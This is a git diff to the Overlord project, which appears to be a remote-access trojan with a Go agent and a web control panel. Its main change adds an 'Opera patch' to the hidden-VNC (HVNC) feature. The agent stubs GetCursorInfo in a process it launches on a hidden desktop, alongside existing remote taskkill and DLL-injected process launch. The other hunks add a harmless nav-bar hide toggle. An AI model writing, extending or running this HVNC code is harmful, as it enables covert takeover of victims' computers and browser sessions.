diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index d29d295..92b5f72 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -27,7 +27,7 @@ func HVNCMonitorCount() int {
 	return 0
 }
 
-func StartHVNCProcess(filePath string) error {
+func StartHVNCProcess(filePath string, operaPatch bool) error {
 	return errors.New("HVNC not supported on this platform")
 }
 
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 5b57d3f..e75622c 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -479,7 +479,7 @@ func ensureHVNCThread() error {
 				var result hvncTaskResult
 				switch task.kind {
 				case hvncTaskStartProcess:
-					result.err = startHVNCProcessOnThread(task.filePath)
+					result.pid, result.err = startHVNCProcessOnThread(task.filePath)
 				case hvncTaskStartProcessInjected:
 					result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
 				case hvncTaskMouseMove:
@@ -535,7 +535,7 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
 	return result.img, result.err
 }
 
-func StartHVNCProcess(filePath string) error {
+func StartHVNCProcess(filePath string, operaPatch bool) error {
 	if filePath == "" {
 		return fmt.Errorf("empty file path")
 	}
@@ -546,7 +546,13 @@ func StartHVNCProcess(filePath string) error {
 	if err != nil {
 		return err
 	}
-	return result.err
+	if result.err != nil {
+		return result.err
+	}
+	if operaPatch && result.pid != 0 {
+		go patchOperaAsync(result.pid, 5, 2*time.Second)
+	}
+	return nil
 }
 
 func HVNCAutoStartExplorer() error {
@@ -863,18 +869,18 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 	return img, nil
 }
 
-func startHVNCProcessOnThread(filePath string) error {
+func startHVNCProcessOnThread(filePath string) (uint32, error) {
 	if filePath == "" {
-		return fmt.Errorf("empty file path")
+		return 0, fmt.Errorf("empty file path")
 	}
 
 	desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
 	if err != nil {
-		return fmt.Errorf("failed to convert desktop name: %v", err)
+		return 0, fmt.Errorf("failed to convert desktop name: %v", err)
 	}
 	cmdLine, err := syscall.UTF16FromString(filePath)
 	if err != nil {
-		return fmt.Errorf("failed to convert command line: %v", err)
+		return 0, fmt.Errorf("failed to convert command line: %v", err)
 	}
 	var si startupInfo
 	var pi processInformation
@@ -898,11 +904,11 @@ func startHVNCProcessOnThread(filePath string) error {
 	)
 	if ret == 0 {
 		if callErr != nil {
-			return fmt.Errorf("CreateProcess failed: %v", callErr)
+			return 0, fmt.Errorf("CreateProcess failed: %v", callErr)
 		}
-		return fmt.Errorf("CreateProcess failed")
+		return 0, fmt.Errorf("CreateProcess failed")
 	}
-	return nil
+	return pi.dwProcessId, nil
 }
 
 func hvncAutoStartExplorerOnThread() error {
@@ -917,7 +923,7 @@ func hvncAutoStartExplorerOnThread() error {
 	}
 
 	log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
-	err := startHVNCProcessOnThread("explorer.exe")
+	_, err := startHVNCProcessOnThread("explorer.exe")
 	if err != nil {
 		return fmt.Errorf("auto-start explorer failed: %w", err)
 	}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 5d07b6c..b8c1243 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1451,6 +1451,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		payload, _ := envelope["payload"].(map[string]interface{})
 		filePath := ""
 		killExe := ""
+		operaPatch := false
 		if payload != nil {
 			if v, ok := payload["path"].(string); ok {
 				filePath = v
@@ -1458,15 +1459,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["kill_exe"].(string); ok {
 				killExe = v
 			}
+			if v, ok := payload["opera_patch"].(bool); ok {
+				operaPatch = v
+			}
 		}
-		log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
+		log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_process", nil, func() {
 			if killExe != "" {
 				out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
 				log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
 			}
-			if err := capture.StartHVNCProcess(filePath); err != nil {
+			if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
 				log.Printf("hvnc: start process failed for %q: %v", filePath, err)
 			}
 		})
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 178ea08..07eb109 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -1108,7 +1108,12 @@ import { checkFeatureAccess } from "./feature-gate.js";
           class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
         <label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
         <input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
-          class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
+          class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
+        <label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
+          <input id="hvncCustomExeOperaPatch" type="checkbox"
+            class="accent-violet-500 w-3.5 h-3.5 rounded" />
+          Apply Opera patch (stub GetCursorInfo)
+        </label>
         <div class="flex justify-end gap-2">
           <button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
           <button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
@@ -1126,7 +1131,8 @@ import { checkFeatureAccess } from "./feature-gate.js";
       if (!exePath) return;
       const args = argsInput.value.trim();
       const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
-      sendCmd("hvnc_start_process", { path: cmd });
+      const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
+      sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
       close();
     }
     document.getElementById("hvncCustomExeRun").addEventListener("click", run);
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
index 401284a..8f731dc 100644
--- a/Overlord-Server/public/assets/main.css
+++ b/Overlord-Server/public/assets/main.css
@@ -2609,3 +2609,102 @@ body.sb-collapsed .sb-link-child {
 .sb-badge:not(.hidden) {
   display: inline-flex;
 }
+
+/* ============================================================
+   NAV HIDE / REVEAL
+   ============================================================ */
+
+/* ---- Shared reveal pill ---- */
+#nav-reveal-btn {
+  position: fixed;
+  z-index: 60;
+  display: none;                          /* hidden until nav-hidden */
+  align-items: center;
+  justify-content: center;
+  width: 28px;
+  height: 28px;
+  border-radius: 8px;
+  background: rgba(15, 23, 42, 0.85);
+  border: 1px solid rgba(255, 255, 255, 0.1);
+  backdrop-filter: blur(12px);
+  -webkit-backdrop-filter: blur(12px);
+  color: #64748b;
+  font-size: 0.7rem;
+  cursor: pointer;
+  opacity: 0;
+  transition: opacity 0.25s ease, color 0.15s, background 0.15s, transform 0.2s ease;
+  pointer-events: none;
+}
+#nav-reveal-btn:hover {
+  background: rgba(30, 41, 59, 0.95);
+  color: #e2e8f0;
+  transform: scale(1.08);
+}
+#nav-reveal-btn:focus-visible {
+  outline: 2px solid #3b82f6;
+  outline-offset: 2px;
+}
+
+/* ---- Topbar hidden state ---- */
+body.nav-hidden:not(.sb-ready) #top-nav {
+  transform: translateY(-100%);
+  pointer-events: none;
+  transition: transform 0.3s var(--sb-ease, cubic-bezier(0.4, 0, 0.2, 1));
+}
+body.nav-hidden:not(.sb-ready) #nav-reveal-btn {
+  display: flex;
+  opacity: 1;
+  pointer-events: auto;
+  top: 8px;
+  left: 8px;
+}
+
+/* ---- Sidebar hidden state ---- */
+body.sb-ready.nav-hidden {
+  padding-left: 0 !important;
+  transition: padding-left 0.3s var(--sb-ease);
+}
+body.sb-ready.nav-hidden #top-nav {
+  transform: translateX(calc(-1 * var(--sb-w) - 2px));
+  pointer-events: none;
+  transition: transform 0.3s var(--sb-ease), width var(--sb-speed) var(--sb-ease);
+}
+body.sb-ready.nav-hidden #sb-mobile-bar {
+  transform: translateY(-100%);
+  pointer-events: none;
+  transition: transform 0.3s var(--sb-ease);
+}
+body.sb-ready.nav-hidden #nav-reveal-btn {
+  display: flex;
+  opacity: 1;
+  pointer-events: auto;
+  top: 8px;
+  left: 8px;
+}
+
+/* ---- Reveal-on-hover edge strip (sidebar mode) ---- */
+body.sb-ready.nav-hidden #nav-reveal-btn {
+  transition: opacity 0.3s ease 0.1s, color 0.15s, background 0.15s, transform 0.2s ease;
+}
+
+/* Tooltip on reveal button */
+#nav-reveal-btn::after {
+  content: attr(data-tooltip);
+  position: absolute;
+  left: calc(100% + 8px);
+  top: 50%;
+  transform: translateY(-50%);
+  white-space: nowrap;
+  font-size: 0.7rem;
+  color: #94a3b8;
+  background: rgba(15, 23, 42, 0.92);
+  border: 1px solid rgba(255, 255, 255, 0.08);
+  border-radius: 6px;
+  padding: 4px 8px;
+  pointer-events: none;
+  opacity: 0;
+  transition: opacity 0.15s;
+}
+#nav-reveal-btn:hover::after {
+  opacity: 1;
+}
diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js
index 1cdd904..232ee1f 100644
--- a/Overlord-Server/public/assets/nav.js
+++ b/Overlord-Server/public/assets/nav.js
@@ -16,7 +16,11 @@ const host = document.getElementById("top-nav");
 if (host) {
   const refs = mountNav(host);
   showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
-  const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs);
+  const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs);
+
+  if (refs.navHideBtn && navHide) {
+    refs.navHideBtn.addEventListener("click", () => navHide.setHidden(true));
+  }
 
   const path = window.location.pathname;
   const activeMap = {
diff --git a/Overlord-Server/public/assets/nav/layout.js b/Overlord-Server/public/assets/nav/layout.js
index 3bd0b82..21b28bc 100644
--- a/Overlord-Server/public/assets/nav/layout.js
+++ b/Overlord-Server/public/assets/nav/layout.js
@@ -1,8 +1,52 @@
 import { NAV_MODE_KEY } from "./template.js";
 
 const LS_KEY = "sb_collapsed";
+const NAV_HIDDEN_KEY = "nav_hidden";
 const MOBILE_BP = 768;
 
+/* ──────────────────────────────────────────────
+   NAV HIDE / REVEAL — shared across both modes
+   ────────────────────────────────────────────── */
+
+function createNavHideController() {
+  let hidden = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
+
+  // Create reveal button (injected into body)
+  const revealBtn = document.createElement("button");
+  revealBtn.id = "nav-reveal-btn";
+  revealBtn.setAttribute("aria-label", "Show navigation");
+  const isMac = /Mac|iPhone|iPad/.test(navigator.platform || "");
+  revealBtn.dataset.tooltip = `Show nav  ${isMac ? "⌘" : "Ctrl"}+\\`;
+  revealBtn.innerHTML = '<i class="fa-solid fa-angles-right" style="font-size:0.65rem"></i>';
+  document.body.appendChild(revealBtn);
+
+  function setHidden(val) {
+    hidden = val;
+    localStorage.setItem(NAV_HIDDEN_KEY, String(val));
+    document.body.classList.toggle("nav-hidden", val);
+  }
+
+  function toggle() {
+    setHidden(!hidden);
+  }
+
+  // Apply persisted state
+  if (hidden) document.body.classList.add("nav-hidden");
+
+  // Click the reveal button → show nav
+  revealBtn.addEventListener("click", () => { if (hidden) setHidden(false); });
+
+  // Keyboard shortcut: Ctrl+\ (or Cmd+\ on Mac)
+  document.addEventListener("keydown", (e) => {
+    if ((e.ctrlKey || e.metaKey) && e.key === "\\") {
+      e.preventDefault();
+      toggle();
+    }
+  });
+
+  return { toggle, isHidden: () => hidden, setHidden };
+}
+
 /* ──────────────────────────────────────────────
    TOPBAR DROPDOWN LOGIC
    ────────────────────────────────────────────── */
@@ -241,9 +285,15 @@ function createSidebarController(host, refs) {
 
 export function createAdaptiveNavController(host, refs) {
   const mode = localStorage.getItem(NAV_MODE_KEY);
-  if (mode === "sidebar") {
-    return createSidebarController(host, refs);
-  }
-  return createTopbarController(host, refs);
+  const navCtrl = mode === "sidebar"
+    ? createSidebarController(host, refs)
+    : createTopbarController(host, refs);
+
+  const hideCtrl = createNavHideController();
+
+  return {
+    applyAdaptiveNavLayout: navCtrl.applyAdaptiveNavLayout,
+    navHide: hideCtrl,
+  };
 }
 
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index 4679752..5e9f61b 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -161,6 +161,11 @@ function mountTopbar(host) {
             title="Logout" aria-label="Logout">
             <i class="fa-solid fa-right-from-bracket text-rose-300 group-hover:text-rose-200 transition-colors"></i>
           </button>
+          <button id="nav-hide-btn"
+            class="inline-flex items-center justify-center w-9 h-9 rounded-lg bg-slate-900/50 border border-slate-800 text-slate-500 hover:text-slate-200 hover:bg-slate-800 transition-colors"
+            title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
+            <i class="fa-solid fa-eye-slash" style="font-size:0.75rem"></i>
+          </button>
         </div>
       </div>
     </div>
@@ -180,6 +185,7 @@ function mountTopbar(host) {
     usernameDisplay: document.getElementById("username-display"),
     roleBadge: document.getElementById("role-badge"),
     enrollmentBadge: document.getElementById("enrollment-badge"),
+    navHideBtn: document.getElementById("nav-hide-btn"),
   };
 
   // Add individual link refs
@@ -293,6 +299,11 @@ function mountSidebar(host) {
         <i class="fa-solid fa-right-from-bracket sb-icon"></i>
         <span class="sb-text">Logout</span>
       </button>
+      <button id="nav-hide-btn" class="sb-link"
+        title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
+        <i class="fa-solid fa-eye-slash sb-icon" style="font-size:0.75rem"></i>
+        <span class="sb-text">Hide Nav</span>
+      </button>
     </div>
   `;
 
@@ -329,6 +340,7 @@ function mountSidebar(host) {
     usernameDisplay: document.getElementById("username-display"),
     roleBadge: document.getElementById("role-badge"),
     enrollmentBadge: document.getElementById("enrollment-badge"),
+    navHideBtn: document.getElementById("nav-hide-btn"),
   };
 
   // Convenience refs expected by nav.js
diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index 2507342..e7438b2 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -8,6 +8,7 @@ import {
 
 const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
 const NAV_MODE_KEY = "sb_mode";
+const NAV_HIDDEN_KEY = "nav_hidden";
 
 const usernameEl = document.getElementById("settings-username");
 const roleEl = document.getElementById("settings-role");
@@ -302,6 +303,11 @@ function loadPrefs() {
   if (sidebarBtn && topbarBtn) {
     updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn);
   }
+
+  const navHiddenInput = document.getElementById("pref-nav-hidden");
+  if (navHiddenInput) {
+    navHiddenInput.checked = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
+  }
 }
 
 async function loadCurrentUser() {
@@ -389,6 +395,11 @@ function savePrefs(event) {
     showMessage("Preferences saved.");
   }
 
+  const navHiddenInput = document.getElementById("pref-nav-hidden");
+  if (navHiddenInput) {
+    localStorage.setItem(NAV_HIDDEN_KEY, String(navHiddenInput.checked));
+    document.body.classList.toggle("nav-hidden", navHiddenInput.checked);
+  }
 }
 
 async function saveSecurityPolicy(event) {
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html
index 356b46e..2296caa 100644
--- a/Overlord-Server/public/settings.html
+++ b/Overlord-Server/public/settings.html
@@ -353,6 +353,15 @@
             <p class="text-xs text-slate-500 mt-1">Changes apply immediately on save.</p>
           </div>
 
+          <div class="space-y-2">
+            <p class="text-xs font-semibold uppercase tracking-wider text-slate-500">Visibility</p>
+            <label class="flex items-center gap-2 text-sm">
+              <input id="pref-nav-hidden" type="checkbox" class="h-4 w-4 accent-indigo-500" />
+              <span>Hide navigation bar</span>
+            </label>
+            <p class="text-xs text-slate-500">Press <kbd class="px-1 py-0.5 rounded bg-slate-800 border border-slate-700 text-slate-400 text-[10px]">Ctrl+\</kbd> to toggle anytime.</p>
+          </div>
+
           <button
             type="submit"
             class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-violet-700 hover:bg-violet-600 transition-colors text-white text-sm font-medium"
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
index 2b8d133..71ffb78 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
@@ -874,6 +874,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       sendHVNCCommand(target, "hvnc_start_process", {
         path: String(payload.path || ""),
         kill_exe: String(payload.kill_exe || ""),
+        opera_patch: Boolean(payload.opera_patch),
       });
       break;
     case "hvnc_start_process_injected": {